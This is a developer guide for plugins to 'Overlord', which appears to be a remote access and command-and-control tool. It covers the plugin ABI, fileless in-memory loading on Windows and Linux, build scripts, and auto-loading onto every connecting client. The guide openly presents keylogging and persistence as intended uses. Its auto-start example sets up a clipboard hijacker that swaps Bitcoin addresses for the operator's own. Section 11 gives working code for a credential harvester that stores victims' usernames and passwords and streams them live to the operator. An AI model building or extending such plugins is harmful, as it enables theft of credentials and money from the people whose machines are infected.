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overlord/plugins/PLUGINS.md
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2026-05-11 00:17:12 -05:00

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# Overlord Plugins
This document explains how to build Overlord plugins using the **native plugin system**. Plugins run as native shared libraries (`.so` on Linux, `.dylib` on macOS, in-memory DLL on Windows), giving them full access to system APIs.
Plugins can be written in **any language** that can produce a C-ABI shared library: **Go**, **C**, **C++**, **Rust**, or anything else that compiles to native code.
> TL;DR: A plugin is a zip with platform-specific binaries (`.so`/`.dll`/`.dylib`) plus `<id>.html`, `<id>.css`, `<id>.js`. Upload it in the Plugins page or drop it in Overlord-Server/plugins. Optionally include a `server.js` for a per-plugin server runtime with a private SQLite DB, an RPC API, and live broadcasts to open UIs (see [section 11](#11-server-side-plugin-runtime)).
## 1) How plugins are structured
### Required bundle format
A plugin bundle is a zip file named after the plugin ID:
```
<pluginId>.zip
```
Inside the zip (root level), you need:
- **Platform-specific binaries** named `<pluginId>-<os>-<arch>.<ext>`
- **Web assets**: `<pluginId>.html`, `<pluginId>.css`, `<pluginId>.js`
Example for plugin ID `sample`:
```
sample.zip
├─ sample-linux-amd64.so
├─ sample-linux-arm64.so
├─ sample-darwin-arm64.dylib
├─ sample-windows-amd64.dll
├─ sample.html
├─ sample.css
├─ sample.js
├─ server.js (optional — server-side runtime, see section 11)
└─ config.json (optional — enables navbar & metadata)
```
When the server extracts the zip:
```
Overlord-Server/plugins/sample/
├─ sample-linux-amd64.so
├─ sample-linux-arm64.so
├─ sample-darwin-arm64.dylib
├─ sample-windows-amd64.dll
├─ server.js (optional — picked up by the plugin runtime)
├─ manifest.json (auto-generated, merged with config.json)
├─ data/
│ └─ plugin.db (auto-created when server.js is present)
└─ assets/
├─ sample.html
├─ sample.css
└─ sample.js
```
### Architecture validation
The server matches binaries to clients by OS and architecture. Binary filenames **must** follow the naming convention `<pluginId>-<os>-<arch>.<ext>`:
| OS | Arch | Example filename |
|----------|---------|------------------------------|
| windows | amd64 | `sample-windows-amd64.dll` |
| windows | arm64 | `sample-windows-arm64.dll` |
| linux | amd64 | `sample-linux-amd64.so` |
| linux | arm64 | `sample-linux-arm64.so` |
| darwin | amd64 | `sample-darwin-amd64.dylib` |
| darwin | arm64 | `sample-darwin-arm64.dylib` |
The server will **never** send an x64 binary to an ARM client (or vice versa). If no binary matches the client's platform, loading is skipped with an error.
### Manifest fields
The auto-generated manifest (merged with `config.json` if present):
```json
{
"id": "sample",
"name": "Sample Plugin",
"version": "1.0.0",
"description": "An example plugin",
"binaries": {
"linux-amd64": "sample-linux-amd64.so",
"linux-arm64": "sample-linux-arm64.so",
"darwin-arm64": "sample-darwin-arm64.dylib",
"windows-amd64": "sample-windows-amd64.dll"
},
"entry": "sample.html",
"assets": {
"html": "sample.html",
"css": "sample.css",
"js": "sample.js"
},
"navbar": {
"label": "Sample",
"icon": "fa-cube"
}
}
```
The `navbar` field is only present when a `config.json` is included in the bundle.
### Global Nav Bar Plugins (`config.json`)
Include an optional `config.json` in the root of your plugin zip to register the plugin in the global navigation bar. This is suited for plugins that operate across all clients (e.g. a global clipboard manager) rather than requiring a specific `?clientId=` to be selected first.
```json
{
"name": "My Plugin",
"version": "1.0.0",
"description": "A global plugin",
"navbar": {
"label": "My Plugin",
"icon": "fa-cube"
}
}
```
**`navbar.icon`** accepts any [Font Awesome 6 solid icon class](https://fontawesome.com/icons?s=solid) without the `fa-solid` prefix, e.g. `fa-clipboard`, `fa-network-wired`, `fa-key`.
When the server extracts the bundle:
- `config.json` fields are merged into the auto-generated `manifest.json`
- If the plugin is also `enabled`, it will appear in the **"Plugin Apps"** group in the sidebar/topbar
- Clicking the nav entry opens the plugin at `/plugins/<id>` — **without** a `?clientId=` parameter, suitable for global operation
> **Important:** `config.json` must be in the **root** of the zip (not inside a subfolder). The build scripts automatically include it if it exists at the plugin source root. The manifest is re-generated on every extraction (triggered when the zip is newer than `manifest.json`), so keep `config.json` in the zip to avoid losing the navbar registration on re-upload.
## 2) Plugin ABI (all languages)
Every plugin — regardless of language — must export **C-callable functions** with specific signatures. The ABI differs slightly between Windows and Unix.
### Required exports
| Export | Signature (Windows) | Signature (Linux / macOS) | Required |
|--------------------|-----------------------------------------------------------------------|-----------------------------------------------------------------------------------|----------|
| `PluginOnLoad` | `int PluginOnLoad(char* hostInfo, int hostInfoLen, uint64 callback)` | `int PluginOnLoad(char* hostInfo, int hostInfoLen, uintptr callback, uintptr ctx)` | Yes |
| `PluginOnEvent` | `int PluginOnEvent(char* event, int eventLen, char* payload, int payloadLen)` | same | Yes |
| `PluginOnUnload` | `void PluginOnUnload()` | same | Yes |
| `PluginSetCallback`| `void PluginSetCallback(uint64 callback)` | — | Windows only |
| `PluginGetRuntime` | `const char* PluginGetRuntime()` | same | Recommended |
### Host callback
The host passes a callback function pointer during `PluginOnLoad`. The plugin uses it to send events back to the agent.
**Windows** — The callback is a `__stdcall` function:
```c
void __stdcall callback(const char *event, uintptr_t eventLen,
const char *payload, uintptr_t payloadLen);
```
**Linux / macOS** — The callback is a standard C function with an opaque context pointer:
```c
void callback(uintptr_t ctx,
const char *event, int eventLen,
const char *payload, int payloadLen);
```
The `ctx` value received in `PluginOnLoad` must be passed back as the first argument to every callback invocation.
### PluginGetRuntime (runtime detection)
If a plugin exports `PluginGetRuntime`, the host calls it after loading. It must return a pointer to a static, null-terminated string identifying the runtime:
| Return value | Meaning |
|-------------|---------------------------------------|
| `"c"` | Pure C plugin — fully unloadable |
| `"cpp"` | C++ plugin — fully unloadable |
| `"rust"` | Rust plugin — fully unloadable |
| *(absent)* | Defaults to `"go"` — **not** freed |
This matters because **Go plugins cannot be fully unloaded** due to [golang/go#11100](https://github.com/golang/go/issues/11100) — Go's runtime spawns threads that cannot be stopped, so calling `FreeLibrary`/`dlclose` on a Go shared library causes a crash. The host uses this information to skip freeing Go plugins while properly reclaiming memory for C/C++/Rust plugins.
The runtime is logged on load and unload:
```
[plugins] loaded plugin "sample-c" (runtime=c, freeable=true)
[plugins] unloaded plugin "sample-c" — memory freed
[plugins] unloaded plugin "sample-go" — memory leaked (go runtime)
```
### HostInfo JSON
The `hostInfo` buffer passed to `PluginOnLoad` is JSON:
```json
{
"clientId": "abc123",
"os": "windows",
"arch": "amd64",
"version": "1.0.0"
}
```
### Loading mechanism
- **Windows** — DLLs are loaded **entirely in memory** via a custom PE loader. No files are written to disk. This is why Rust's `std::sync::Mutex` (backed by `SRWLOCK`) may not initialize correctly — see the Rust section below.
- **Linux** — Shared libraries are loaded in memory via `memfd_create` + `dlopen` on `/proc/self/fd/`. No files touch disk.
- **macOS** — Shared libraries are written to a temp file, `dlopen`'d, then the temp file is deleted.
## 3) Sample plugins by language
### Go (`sample-go/`)
Go plugins use `-buildmode=c-shared` with platform-specific export wrappers.
**Project structure:**
```
sample-go/native/
├─ main.go (shared core logic)
├─ exports_unix.go (exports for Linux/macOS)
├─ exports_windows.go (exports for Windows)
└─ go.mod
```
**Linux / macOS exports:**
```go
//export PluginOnLoad
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.uintptr_t, ctx C.uintptr_t) C.int
//export PluginOnEvent
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int
//export PluginOnUnload
func PluginOnUnload()
```
**Windows exports:**
```go
//export PluginOnLoad
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, callbackPtr C.ulonglong) C.int
//export PluginOnEvent
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int
//export PluginOnUnload
func PluginOnUnload()
//export PluginSetCallback
func PluginSetCallback(callbackPtr C.ulonglong)
```
**Build:**
```bash
CGO_ENABLED=1 go build -buildmode=c-shared -o sample-windows-amd64.dll ./native
```
> **Note:** Go plugins do **not** export `PluginGetRuntime` and default to the `"go"` runtime. They are intentionally never freed on unload to prevent crashes from orphaned Go runtime threads.
---
### C (`sample-c/`)
Pure C plugins are the simplest — no runtime, no GC, fully unloadable.
**Project structure:**
```
sample-c/
├─ native/plugin.c
├─ sample-c.html
├─ sample-c.css
└─ sample-c.js
```
**Key points:**
- Uses `__declspec(dllexport)` on Windows, `__attribute__((visibility("default")))` on Unix
- Has a `DllMain` entry point on Windows (receives `DLL_PROCESS_ATTACH` / `DLL_PROCESS_DETACH`)
- Exports `PluginGetRuntime` → returns `"c"`
- No heap allocations required — can use stack buffers for all responses
**Minimal example (Windows callback):**
```c
#ifdef _WIN32
typedef void (__stdcall *host_callback_t)(
const char *event, uintptr_t eventLen,
const char *payload, uintptr_t payloadLen);
#else
typedef void (*host_callback_t)(
uintptr_t ctx,
const char *event, int eventLen,
const char *payload, int payloadLen);
#endif
static host_callback_t g_callback;
EXPORT int PluginOnLoad(const char *hostInfo, int hostInfoLen, ...) {
// Parse hostInfo JSON, store callback, return 0 on success
}
EXPORT int PluginOnEvent(const char *event, int eventLen,
const char *payload, int payloadLen) {
// Handle events, call g_callback() to respond
return 0;
}
EXPORT void PluginOnUnload(void) {
// Cleanup
}
EXPORT const char *PluginGetRuntime(void) { return "c"; }
```
**Build:**
```bash
# MSVC
cl /LD /O2 plugin.c /Fe:sample-c-windows-amd64.dll
# MinGW / gcc
gcc -shared -O2 -o sample-c-windows-amd64.dll plugin.c
# Linux
gcc -shared -fPIC -O2 -o sample-c-linux-amd64.so plugin.c
```
---
### C++ (`sample-cpp/`)
C++ plugins can use the full standard library (STL containers, `std::mutex`, `std::string`, etc.) while still being fully unloadable.
**Project structure:**
```
sample-cpp/
├─ native/plugin.cpp
├─ sample-cpp.html
├─ sample-cpp.css
└─ sample-cpp.js
```
**Key points:**
- All exports wrapped in `extern "C"` to prevent name mangling
- Can freely use `std::string`, `std::unordered_map`, `std::mutex`, etc.
- Exports `PluginGetRuntime` → returns `"cpp"`
**Build:**
```bash
# MSVC
cl /LD /EHsc /O2 plugin.cpp /Fe:sample-cpp-windows-amd64.dll
# MinGW / g++
g++ -shared -O2 -o sample-cpp-windows-amd64.dll plugin.cpp
# Linux
g++ -shared -fPIC -O2 -o sample-cpp-linux-amd64.so plugin.cpp
```
---
### Rust (`sample-rust/`)
Rust plugins compile as `cdylib` crates. Exports use `#[no_mangle]` and `extern "C"`.
**Project structure:**
```
sample-rust/
├─ native/
│ ├─ Cargo.toml
│ └─ src/lib.rs
├─ sample-rust.html
├─ sample-rust.css
└─ sample-rust.js
```
**Key points:**
- `crate-type = ["cdylib"]` in Cargo.toml
- Uses `extern "stdcall"` for the callback type on Windows, `extern "C"` on Unix
- Exports `PluginGetRuntime` → returns `"rust"`
**⚠️ Important: avoid `std::sync::Mutex` on Windows.** Because the DLL is loaded via an in-memory PE loader (not `LoadLibrary`), Rust's standard `Mutex` (backed by Windows `SRWLOCK`) may not initialize correctly, causing an access violation. Use C-style `static mut` globals instead — this is safe because the Go host serializes all calls through its own mutex.
**Cargo.toml:**
```toml
[lib]
crate-type = ["cdylib"]
[profile.release]
opt-level = "z"
lto = true
strip = true
```
**Build:**
```bash
# Native
cargo build --release
# Cross-compile
cargo build --release --target=x86_64-pc-windows-msvc
cargo build --release --target=aarch64-unknown-linux-gnu
```
## 4) Build scripts & cross-compilation
Each language has `.bat` (Windows) and `.sh` (Unix) build scripts. All scripts support the `BUILD_TARGETS` environment variable to compile for multiple platforms in one invocation.
### Available build scripts
| Language | Windows | Unix |
|----------|--------------------------|-------------------------|
| Go | `build-plugin.bat` | `build-plugin.sh` |
| C | `build-plugin-c.bat` | `build-plugin-c.sh` |
| C++ | `build-plugin-cpp.bat` | `build-plugin-cpp.sh` |
| Rust | `build-plugin-rust.bat` | `build-plugin-rust.sh` |
### Usage
All scripts default to building for the host platform only:
```bash
# Build for current platform
./build-plugin-c.sh
# Build for multiple targets
BUILD_TARGETS="linux-amd64 linux-arm64 windows-amd64" ./build-plugin-c.sh
# Custom plugin directory
./build-plugin-c.sh /path/to/my-plugin
```
```bat
REM Build for current platform
build-plugin-c.bat
REM Build for multiple targets
set BUILD_TARGETS=windows-amd64 windows-arm64
build-plugin-c.bat
REM Custom plugin directory
build-plugin-c.bat C:\path\to\my-plugin
```
### Cross-compilation
**Go** — Cross-compilation is built-in via `GOOS` / `GOARCH` env vars. No extra toolchains needed (unless CGo calls platform-specific APIs).
**Rust** — Cross-compilation uses `--target=` with Rust target triples. Install targets with `rustup target add <triple>`. The build scripts map `os-arch` pairs to triples automatically:
| Target | Rust triple (`.bat` / MSVC) | Rust triple (`.sh` / GNU) |
|-----------------|-------------------------------------|---------------------------------------|
| windows-amd64 | `x86_64-pc-windows-msvc` | `x86_64-pc-windows-gnu` |
| windows-arm64 | `aarch64-pc-windows-msvc` | `aarch64-pc-windows-gnullvm` |
| linux-amd64 | `x86_64-unknown-linux-gnu` | `x86_64-unknown-linux-gnu` |
| linux-arm64 | `aarch64-unknown-linux-gnu` | `aarch64-unknown-linux-gnu` |
| darwin-amd64 | `x86_64-apple-darwin` | `x86_64-apple-darwin` |
| darwin-arm64 | `aarch64-apple-darwin` | `aarch64-apple-darwin` |
**C / C++** — Cross-compilation requires the appropriate cross-compiler toolchain to be installed:
| Target | C compiler | C++ compiler |
|-----------------|-------------------------------|--------------------------------|
| linux-amd64 | `x86_64-linux-gnu-gcc` | `x86_64-linux-gnu-g++` |
| linux-arm64 | `aarch64-linux-gnu-gcc` | `aarch64-linux-gnu-g++` |
| linux-arm | `arm-linux-gnueabihf-gcc` | `arm-linux-gnueabihf-g++` |
| windows-amd64 | `x86_64-w64-mingw32-gcc` | `x86_64-w64-mingw32-g++` |
| windows-arm64 | `aarch64-w64-mingw32-gcc` | `aarch64-w64-mingw32-g++` |
On Windows `.bat` scripts, MSVC (`cl`) is tried first with the appropriate `/link /machine:` flag, falling back to MinGW if `cl` fails.
On Unix `.sh` scripts, override the compiler with `CC=<compiler>` (C) or `CXX=<compiler>` (C++):
```bash
CC=zig-cc BUILD_TARGETS="linux-arm64" ./build-plugin-c.sh
CXX=zig-c++ BUILD_TARGETS="linux-arm64" ./build-plugin-cpp.sh
```
### Installing cross-compiler toolchains
**Debian/Ubuntu:**
```bash
# ARM64 Linux cross-compilers
sudo apt install gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
# Windows cross-compilers (MinGW)
sudo apt install gcc-mingw-w64-x86-64 g++-mingw-w64-x86-64
# Rust targets
rustup target add aarch64-unknown-linux-gnu x86_64-pc-windows-gnu
```
**macOS (Homebrew):**
```bash
# Linux cross-compilers via musl-cross
brew install FiloSottile/musl-cross/musl-cross
# Rust targets
rustup target add aarch64-apple-darwin x86_64-apple-darwin
```
## 5) Install & open a plugin
### Install / upload
- Use the UI at `/plugins` to upload the zip
- Or drop `<pluginId>.zip` into `Overlord-Server/plugins` and restart
### Open the UI
Plugin UI is embedded directly in the main page at:
```
/plugins/<pluginId>?clientId=<CLIENT_ID>
```
For **global nav bar plugins** (those registered via `config.json`), the UI opens without a client ID:
```
/plugins/<pluginId>
```
The server reads your `<pluginId>.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins/<pluginId>/assets/`.
To get the `clientId` in your JS (for per-client plugins):
```js
const clientId = new URLSearchParams(window.location.search).get("clientId");
```
For global plugins, `clientId` will be `null`. Use `/api/clients?status=online&pageSize=1000` to enumerate connected clients and broadcast events to all of them:
```js
const res = await fetch("/api/clients?status=online&pageSize=1000");
const { items } = await res.json();
const onlineIds = items.filter(c => c.online).map(c => c.id);
```
## 6) Runtime: how events flow
Overlord plugins have **two parts**:
1. **UI (HTML/CSS/JS)** — Runs in the browser, calls server APIs.
2. **Native module** — Runs in the agent (client) process as a loaded shared library.
### UI → agent (plugin event)
From your UI JS:
```
POST /api/clients/<clientId>/plugins/<pluginId>/event
{
"event": "ui_message",
"payload": { "message": "hello" }
}
```
If the plugin is not loaded yet, the server will load it on the client, queue the event, and deliver it once ready.
### Agent → plugin (direct function call)
The agent calls your `OnEvent(event, payload)` function directly with JSON-encoded data. No stdin/stdout pipes, no msgpack — just a direct function call.
### Plugin → agent (callback)
Your plugin sends events back to the host using the callback received during `OnLoad`:
**Go:**
```go
send("echo", []byte(`{"message":"hello back"}`))
```
**C / C++:**
```c
g_callback("echo", 4, "{\"message\":\"hello back\"}", 24);
```
**Rust:**
```rust
let event = b"echo";
let payload = b"{\"message\":\"hello back\"}";
(g_callback)(event.as_ptr(), event.len(), payload.as_ptr(), payload.len());
```
On Windows, the callback uses `__stdcall` calling convention. On Unix, it's a standard C call with the context pointer as the first argument.
### Plugin lifecycle events
The agent sends these events to the server:
- `loaded` on successful load
- `unloaded` when unloaded
- `error` if load or runtime fails
## 7) What can plugins do?
Since plugins run as native code, they can:
- Call any system API (file I/O, network, processes, etc.)
- Use any library available to their language
- Spawn threads / goroutines
- Access hardware
- Do anything a normal native program can do
Plugins have the same capabilities as the agent itself.
| Language | Can be fully unloaded? | Runtime overhead |
|----------|----------------------|------------------|
| C | Yes | None |
| C++ | Yes | Minimal (STL) |
| Rust | Yes | Minimal |
| Go | **No** ([#11100](https://github.com/golang/go/issues/11100)) | Go runtime + GC |
### UI embedding
Plugin UI pages are embedded **directly** into the main Overlord page — no iframe, no sandbox, no bridge. The server reads your plugin's HTML, extracts the `<body>` content and any `<link>`/`<style>` tags from the `<head>`, and injects them into the standard page layout (with nav bar, Tailwind CSS, etc.).
Your plugin JS runs in the same browsing context as the main UI, so `fetch()` calls to the API work directly — no special bridge or proxy needed.
Plugin assets (CSS, JS, images) are served from `/plugins/<pluginId>/assets/`.
### CSP-safe JavaScript
The Overlord UI enforces a **Content Security Policy** that blocks `unsafe-inline` script execution. This means:
- **No** `onclick="..."`, `onchange="..."`, or other inline event handler attributes in HTML strings
- **No** `javascript:` URLs
- **No** `eval()` or `new Function()`
When dynamically generating HTML (e.g. in a `renderRules()` function), use `data-*` attributes and event delegation instead:
```js
// ❌ Blocked by CSP
element.innerHTML = `<button onclick="removeItem(${i})">Remove</button>`;
// ✅ CSP-safe
element.innerHTML = `<button class="remove-btn" data-index="${i}">Remove</button>`;
element.addEventListener("click", (e) => {
if (!e.target.classList.contains("remove-btn")) return;
const index = parseInt(e.target.getAttribute("data-index"), 10);
removeItem(index);
});
```
### Script injection
The server auto-injects `<script src="/plugins/<pluginId>/assets/<pluginId>.js"></script>` at the end of the page — you don't need to include it yourself. If your plugin HTML does include `<script src=".../<pluginId>.js">` in its `<body>` (e.g. so the file works standalone in a browser), the server strips that tag during injection to prevent the script from running twice. Other `<script>` tags in the body are left alone.
If you want defensive scoping anyway, wrap your plugin JS in an IIFE so top-level identifiers don't collide with the global scope:
```js
(() => {
const MY_CONST = "value";
// ... rest of plugin code
})();
```
## 8) API surface
### Plugin management
- `GET /api/plugins` — list installed plugins (includes `autoLoad` and `autoStartEvents` per plugin)
- `POST /api/plugins/upload` — upload zip
- `POST /api/plugins/<id>/enable` — enable/disable
- `POST /api/plugins/<id>/autoload` — configure auto-load on client connect
- `DELETE /api/plugins/<id>` — remove (preserves `data/` directory)
### Plugin data directory
- `GET /api/plugins/<id>/data` — list files in the plugin's persistent data directory
- `GET /api/plugins/<id>/data/<path>` — read a file
- `PUT /api/plugins/<id>/data/<path>` — write a file
- `DELETE /api/plugins/<id>/data/<path>` — delete a file or directory
- `POST /api/plugins/<id>/exec` — execute a stored binary (admin/operator only)
See [section 10](#10-server-side-plugin-data-directory) for full details.
### Server-side plugin runtime
- `POST /api/plugins/<id>/rpc` — invoke a method on the plugin's worker
- `GET /api/plugins/<id>/stream` — Server-Sent Events stream of `ctx.broadcast()` calls
See [section 11](#11-server-side-plugin-runtime) for full details.
### Per-client plugin runtime
- `POST /api/clients/<clientId>/plugins/<pluginId>/load`
- `POST /api/clients/<clientId>/plugins/<pluginId>/event`
- `POST /api/clients/<clientId>/plugins/<pluginId>/unload`
### Useful built-in endpoints
- `POST /api/clients/<clientId>/command`
- `WS /api/clients/<clientId>/rd/ws` (remote desktop)
- `WS /api/clients/<clientId>/console/ws`
- `WS /api/clients/<clientId>/files/ws`
- `WS /api/clients/<clientId>/processes/ws`
## 9) Auto-load plugins on client connect
By default, plugins are only loaded when manually triggered via the API or UI. For plugins that need to run 24/7 on every connected client (e.g. clipboard monitoring, keylogging, persistence), you can configure **auto-load**.
When auto-load is enabled for a plugin, the server will automatically load it onto every client that connects. If the client already has the plugin loaded, it's skipped — no duplicate loads.
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
### Autostart switch in global plugin UI
Global nav bar plugins (those with a `navbar` entry in `config.json`) can expose an **"Autostart on new clients"** toggle directly in their UI. This checkbox controls whether new clients that connect will automatically have the plugin loaded and the current configuration replayed.
When the switch is checked, the UI calls `POST /api/plugins/<id>/autoload` with `autoLoad: true` and the current `autoStartEvents` (rule set + start order). When unchecked, it sets `autoLoad: false` — new clients won't receive the plugin unless manually triggered.
The switch state is saved to the server and restored when the plugin page is reopened.
### Enable auto-load
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": true
}
```
### Enable auto-load with auto-start events
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": true,
"autoStartEvents": [
{ "event": "add_rule", "payload": { "pattern": "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "replacement": "your-btc-address" } },
{ "event": "start", "payload": {} }
]
}
```
The events in `autoStartEvents` are queued in order and delivered to the plugin after it reports `loaded`. This works exactly like calling the event API multiple times, but happens automatically.
### Disable auto-load
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": false
}
```
### How it works
1. Client connects and completes the enrollment handshake
2. Server sends `hello_ack` (as usual)
3. Server dispatches auto-scripts (as usual)
4. Server checks all plugins with `autoLoad: true` and `enabled: true`
5. For each, if the plugin is **not already loaded** on that client:
- Sends the plugin binary bundle (chunked)
- Queues any `autoStartEvents`
6. When the plugin reports `loaded`, queued events are flushed in order
### Checking auto-load status
`GET /api/plugins` returns `autoLoad` and `autoStartEvents` for each plugin:
```json
{
"plugins": [
{
"id": "clipreplace",
"name": "clipreplace",
"enabled": true,
"autoLoad": true,
"autoStartEvents": [
{ "event": "add_rule", "payload": { "pattern": "...", "replacement": "..." } },
{ "event": "start", "payload": {} }
],
"lastError": ""
}
]
}
```
### Notes
- Auto-load respects the `enabled` flag — disabled plugins are never auto-loaded
- Auto-load state is persisted in `.plugin-state.json` and survives server restarts
- Deleting a plugin also removes its auto-load configuration
- The server selects the correct binary for each client's OS/architecture automatically
- If a plugin binary isn't available for a client's platform, the auto-load silently skips that client
## 10) Server-side plugin data directory
Each plugin has a **persistent data directory** on the server:
```
Overlord-Server/plugins/<pluginId>/data/
```
This directory is **never deleted** when a plugin is removed or reinstalled. It survives the entire plugin lifecycle and gives server-side plugins a dedicated place to store files — SQLite databases, config files, cached data, executables, etc.
### Read/write files
From your plugin UI JS (or any authenticated API consumer):
**List all files**
```
GET /api/plugins/<pluginId>/data
```
```json
{
"ok": true,
"files": [
{ "path": "config.json", "size": 128, "isDir": false },
{ "path": "cache", "size": 0, "isDir": true },
{ "path": "cache/data.db", "size": 40960, "isDir": false }
]
}
```
**Read a file**
```
GET /api/plugins/<pluginId>/data/<path>
```
Returns the raw file bytes with an appropriate `Content-Type`.
**Write a file**
```
PUT /api/plugins/<pluginId>/data/<path>
Content-Type: application/octet-stream
<raw bytes>
```
Parent directories are created automatically.
```json
{ "ok": true, "path": "config.json", "size": 128 }
```
**Delete a file or directory**
```
DELETE /api/plugins/<pluginId>/data/<path>
```
Deleting a directory removes it recursively.
```json
{ "ok": true, "path": "cache" }
```
### Execute a stored binary
Plugins can store executables in their data directory and run them on the server. This endpoint is restricted to **admin and operator** roles.
```
POST /api/plugins/<pluginId>/exec
Content-Type: application/json
{
"file": "mytool",
"args": ["--flag", "value"],
"stdin": "optional stdin string",
"timeoutMs": 10000
}
```
| Field | Type | Description |
|-------|------|-------------|
| `file` | string | Path to the binary, relative to the plugin's `data/` directory |
| `args` | string[] | Command-line arguments (optional) |
| `stdin` | string | Text to pipe to stdin (optional) |
| `timeoutMs` | number | Max run time in ms, max 60000, default 30000 |
```json
{
"ok": true,
"exitCode": 0,
"stdout": "tool output here",
"stderr": ""
}
```
The binary is run from the `data/` directory as the working directory. The server sets the executable bit automatically before running on Unix.
### Example: storing a SQLite database from plugin JS
```js
// Write a new database seed file
await fetch(`/api/plugins/myplugin/data/app.db`, {
method: "PUT",
body: dbBytes, // ArrayBuffer
});
// Read it back
const res = await fetch(`/api/plugins/myplugin/data/app.db`);
const db = await res.arrayBuffer();
// List all stored files
const { files } = await (await fetch(`/api/plugins/myplugin/data`)).json();
```
### Notes
- Path traversal is blocked — paths may not escape the `data/` directory
- Null bytes in paths are rejected
- The data directory is created automatically on first use (no pre-setup needed)
- Deleting and reinstalling a plugin leaves `data/` untouched
## 11) Server-side plugin runtime
A plugin can ship an optional **`server.js`** at the root of its zip. When present, the server boots a dedicated **Bun Worker** for that plugin, opens a private SQLite database for it (`plugins/<id>/data/plugin.db`), and gives the worker an RPC + broadcast API.
This is the right place for plugin logic that:
- Has to run **without an open UI** (e.g. persisting credentials the agent harvests in the background).
- Needs to **aggregate state across every connected client** (the per-client native binary only sees its own host).
- Wants to **stream live updates** to whatever plugin pages are open right now without polling.
The worker is process-isolated from the main server: a buggy plugin that throws inside `onEvent` or `rpc` does not take the rest of Overlord down with it.
### Lifecycle
| Event | Effect |
|-------|--------|
| Server starts | Every enabled plugin with a `server.js` is booted in its own worker. |
| Plugin enabled (`POST /api/plugins/<id>/enable {enabled:true}`) | Worker is started if `server.js` exists. |
| Plugin disabled | Worker is stopped (graceful shutdown → `terminate()` after 750 ms). |
| Plugin re-uploaded | Worker is restarted so the new `server.js` takes effect. |
| Plugin deleted | Worker is stopped; the `data/` directory (including `plugin.db`) is preserved across reinstalls. |
| Server SIGINT/SIGTERM | All workers are shut down before the process exits. |
### `server.js` contract
`server.js` is an ES module whose default export is a plain object with up to four optional handlers:
```js
// plugins/credharvest/server.js
export default {
// Run once when the worker boots. Use this to migrate the schema or seed
// any state. Throwing here marks the plugin as failed (visible in
// /api/plugins → lastError) and the worker exits.
setup(ctx) {
ctx.db.exec(`
CREATE TABLE IF NOT EXISTS creds (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
service TEXT,
username TEXT,
password TEXT,
captured_at INTEGER NOT NULL
);
CREATE INDEX IF NOT EXISTS creds_by_client ON creds(client_id);
`);
},
// Fired every time an agent's native plugin sends a callback event back
// through the WebSocket (PluginOnEvent → host callback → server). Also
// fires for the lifecycle events the host injects: "loaded", "unloaded",
// "error".
onEvent(ctx, clientId, event, payload) {
if (event !== "credential") return;
ctx.db
.prepare(`INSERT INTO creds(client_id, service, username, password, captured_at) VALUES (?, ?, ?, ?, ?)`)
.run(clientId, payload.service, payload.username, payload.password, Date.now());
ctx.broadcast("cred_added", { clientId, service: payload.service });
},
// Methods called by the plugin UI via POST /api/plugins/<id>/rpc.
// Each handler receives (ctx, params, meta). Whatever you return becomes
// the `result` field of the JSON response.
rpc: {
list_all(ctx) {
return ctx.db
.prepare(`SELECT * FROM creds ORDER BY captured_at DESC LIMIT 1000`)
.all();
},
list_for_client(ctx, params) {
return ctx.db
.prepare(`SELECT * FROM creds WHERE client_id = ? ORDER BY captured_at DESC`)
.all(params.clientId);
},
delete_all(ctx, _params, { caller }) {
if (caller.role !== "admin") throw new Error("Admin only");
ctx.db.exec(`DELETE FROM creds`);
ctx.broadcast("cleared", { by: caller.id });
return { ok: true };
},
},
// Called when the plugin is being shut down (disable, re-upload, server
// exit). Use it to flush state. The worker is forcibly terminated 750 ms
// after this returns, so don't rely on async cleanup taking longer.
teardown(ctx) {
ctx.log.info("shutting down");
},
};
```
### The `ctx` object
| Field | Type | Description |
|-------|------|-------------|
| `ctx.pluginId` | `string` | The sanitized plugin ID. |
| `ctx.db` | `Database` (`bun:sqlite`) | A pre-opened SQLite connection backed by `plugins/<id>/data/plugin.db`. WAL mode is enabled. The plugin owns the schema entirely. |
| `ctx.dataDir` | `string` | Absolute path to the plugin's `data/` directory. Use this if you want to read/write files alongside the DB (the same directory the `/api/plugins/<id>/data/*` filesystem API serves). |
| `ctx.log` | `{debug, info, warn, error}` | Each call is forwarded to the main server logger as `[plugin:<id>] <message>`. |
| `ctx.broadcast(channel, data)` | function | Push an event to every UI currently subscribed to this plugin's SSE stream. `data` must be JSON-serializable. |
### Calling the plugin from the UI
Plugin UI JS can call any RPC method:
```js
const res = await fetch(`/api/plugins/credharvest/rpc`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ method: "list_all" }),
});
const { ok, result, error } = await res.json();
```
Subscribe to broadcasts:
```js
const stream = new EventSource(`/api/plugins/credharvest/stream`);
stream.addEventListener("cred_added", (e) => {
const { clientId, service } = JSON.parse(e.data);
appendRow(clientId, service);
});
stream.addEventListener("cleared", () => clearTable());
```
The SSE stream keeps itself alive with a comment heartbeat every 25 s, which works through the standard reverse-proxy idle timeouts. Close the stream with `stream.close()` when the plugin page unmounts.
### End-to-end flow for a credential harvester
1. Native binary on the agent captures a credential and calls the host callback with `event="credential"` and a JSON payload.
2. Agent forwards the event over its `/api/clients/<id>/stream/ws` connection.
3. Server's `handlePluginEvent` records it for short-lived UI polling (the existing per-client behavior) **and** dispatches it into the plugin's worker via `onEvent`.
4. Worker INSERTs the credential into `plugin.db` and calls `ctx.broadcast("cred_added", ...)`.
5. Every open `/plugins/credharvest` page receives a `cred_added` SSE event and updates its UI in real time.
6. A user landing on `/plugins/credharvest` later calls `POST /api/plugins/credharvest/rpc {method:"list_all"}` and gets the full history back from `plugin.db`, regardless of which clients are currently online.
### API surface (server runtime)
